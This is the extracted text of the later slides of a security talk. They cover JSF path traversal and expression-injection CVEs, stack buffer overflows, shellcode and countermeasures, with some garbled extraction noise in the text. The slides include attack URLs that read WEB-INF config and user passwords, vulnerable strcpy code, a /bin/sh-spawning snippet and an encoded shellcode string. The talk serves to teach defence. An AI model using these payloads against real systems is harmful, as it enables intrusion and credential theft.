  • 56. JSF 2 vulnerabilities t s! • CVE-2011-4367: Path traversal attack in ResourceHandler s k • February 2012 e r w o e w • MyFaces Core 2.0.0 - 2.0.11 and 2.1.0 - 2.1.5 n e • http://<hostname>:<port>/<context-root>/faces/ e m javax.faces.resource/web.xml?ln=../WEB-INF th fra e r s u • CVE-2011-4343: ValueExpression injection vulnerability u o ) y • December 2011 to f • Mojarra 2.0.0 - 2.0.6 and 2.1.0 - 2.1.4 y r so • MyFaces Core 2.0.1 - 2.0.10 and 2.1.0 - 2.1.4 (t n • <f:viewParam name="p" value="#{bean.value}" /> -> sio • --> http://acme.com/faces/test.xhtml?p=#{user.password} - r • --> Invoke navigation case using includeViewParams=true v e • JSF re-evaluates value of view parameter p --> #{user.password} 44
  • 58. Buffer overflows • Program attempts to put more data in a buffer than it can hold • Overwriting subsequent memory locations • Only in languages without automatic memory management • mostly C, C++ • --> NOT in Java, Python, Ruby, Perl, .NET (but: unmanaged code!), ... • Variations • Stack-based • Heap-based void foo(char *string) // can be arbitrarily long { char buffer[512]; // can hold 511 chars (+ '0') strcpy(buffer, string); // potential buffer overflow! } 46
  • 59. Memory layout 0xffffffff kernel • Stack segment 0xc0000000 • local variables environment variables • procedure activation records • (return address, function parameters, ...) stack • Data segment • global uninitialized variables (.bss) • global initialized variables (.data) • dynamic variables (heap) heap • Code (.text) segment • program instructions data (.bss) • usually read-only data (.data) data (.text) 0x00000000 shared libraries 47
  • 60. Stack frame Previous frame Parameters Return address Previous frame address EBP Local variables ESP Free memory 48
  • 61. Stack frame Previous frame Parameters Return address Previous frame address EBP buffer Local variables ESP Free memory 48
  • 62. Stack frame Previous frame Parameters Return address Previous frame address EBP buffer Local variables ESP Free memory 48
  • 63. Stack frame Previous frame Overwrite function return address Parameters --> Function returns to address that we control Return address Previous frame address EBP buffer Local variables ESP Free memory 48
  • 64. Choosing where to jump • Address inside a buffer of which the attacker controls the content • PRO: works for remote attacks • CON: the attacker needs to know the address of the buffer, the memory page containing the buffer must be executable • Address of a environment variable • PRO: easy to implement, works with tiny buffers • CON: only for local exploits, some programs clean the environment, the stack must be executable • Address of a function inside the program • PRO: works for remote attacks, does not require an executable stack • CON: need to find the right code, one or more fake frames must be put on the stack 49
  • 65. Shellcode • Sequence of machine instructions that is executed when the attack is successful • Traditionally, the goal was to spawn a shell (that explains the name “shell code”) • Has nothing to do with linux shell code (bash scripts, ...) void main (void) { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } • Need some tricks to convert this into assembly without knowing exact addresses • --> Use tools like Metasploit (--> Workshop!) 50
  • 66. Shellcode (2) unsigned char *shellcode = "xbfxc8xd1x60xacxd9xf6xd9x74x24xf4x5dx29xc9xb1" "x11x31x7dx15x03x7dx15x83xedxfcxe2x3dxe0xa9x9d" "x66xf4xc9x6ex3cx36x8dxe5x37x91x17xabx21x49x05" "x2fx24x6ex3dx80x45x19xbexb6x86xbbxd7x28x51xd8" "x7ax5dx6ex1fx7bx9dx03x77x5bxa1xddxa7xb4xbdx44" "xdexe5x49xf2x67xfaxe6xa9x1ex1bxc5xcdx10x07xbc" "xccx0ax7axc1"; • Need to avoid 'x00' --> String terminator in C • Substitute instructions containing zeros with alternative instructions mov 0x0, reg --> xor reg, reg 51
  • 67. The root shell myth • Just because you can do a buffer overflow, does NOT mean you get a root shell • Only true for setuid programs • owner: root • setuid-bit set • --> program can be started by "any" user, but is run using root privileges • "Fortunately" there are a lot of setuid programs • ping, traceroute, passwd, chsh, mount, umount, sudo, ... $ ls -lisah /bin/ping 655424 36K -rwsr-xr-x 1 root root 34K 2011-05-03 12:38 /bin/ping 52
  • 68. Countermeasures • Use safe library functions • Allow specification of max size • e.g. strncpy() instead of strcpy() • Use runtime checking (libsafe) • Address Space Layout Randomization (ASLR) /proc/sys/kernel/randomize_va_space • Non Executable Stack • Stack protection Parameters • e.g. Canary values Return address Previous frame address • ... CANARY Local variables 53
  • 69. The End 54
  • 70. What‘s next? • Enjoy lunch! • Spread the word • Check out webgoat for web application security lessons • http://code.google.com/p/webgoat/ • Visit http://iseclab.org/ • Follow me on twitter via @jakobkorherr • Visit my workshop THANKS • Slides will be available at http://www.jakobk.com shortly 55

Editor's Notes

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. \n
  12. \n
  13. \n
  14. \n
  15. \n
  16. \n
  17. \n
  18. \n
  19. \n
  20. \n
  21. \n
  22. \n
  23. \n
  24. \n
  25. \n
  26. \n
  27. \n
  28. \n
  29. \n
  30. \n
  31. \n
  32. \n
  33. \n
  34. \n
  35. \n
  36. \n
  37. \n
  38. \n
  39. \n
  40. \n
  41. \n
  42. \n
  43. \n
  44. \n
  45. \n
  46. \n
  47. \n
  48. \n
  49. \n
  50. \n
  51. \n
  52. \n
  53. \n
  54. \n
  55. \n
  56. \n
  57. \n
  58. \n
  59. \n
  60. \n
  61. \n
  62. \n
  63. \n
  64. \n